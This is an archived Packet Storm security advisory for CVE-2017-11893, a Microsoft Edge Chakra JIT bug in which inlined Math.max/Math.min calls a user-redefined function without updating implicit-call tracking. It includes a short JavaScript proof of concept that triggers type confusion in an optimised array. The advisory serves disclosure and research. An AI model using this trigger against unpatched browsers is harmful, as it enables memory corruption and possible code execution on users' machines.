exploit the possibilities

Microsoft Edge Chakra JIT Op_MaxInAnArray / Op_MinInAnArray Misuse

Microsoft Edge Chakra JIT Op_MaxInAnArray / Op_MinInAnArray Misuse
Posted Jan 10, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT has an issue where Op_MaxInAnArray and Op_MinInAnArray Misuse can explicitly call user defined JavaScript functions.

tags | exploit, javascript
advisories | CVE-2017-11893
MD5 | 077ed40c3d16dd77486c3f7c155974d8

Microsoft Edge Chakra JIT Op_MaxInAnArray / Op_MinInAnArray Misuse

Change Mirror Download
Microsoft Edge: Chakra: JIT: Op_MaxInAnArray and Op_MinInAnArray can explicitly call user defined JavaScript functions 

CVE-2017-11893


1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".

Note: Math.min as well.

PoC:
function opt(arr, arr2) {
arr[0] = 1.1;
Math.max.apply(Math, arr2);
arr[0] = 2.3023e-320;
}

function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
for (let i = 0; i < 10000; i++) {
opt(arr, [1, 2, 3, 4]);
}

Math.max = function () {
arr[0] = {};
};

opt(arr, {}); // can't handle, calls Math.max
print(arr[0]);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    4 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close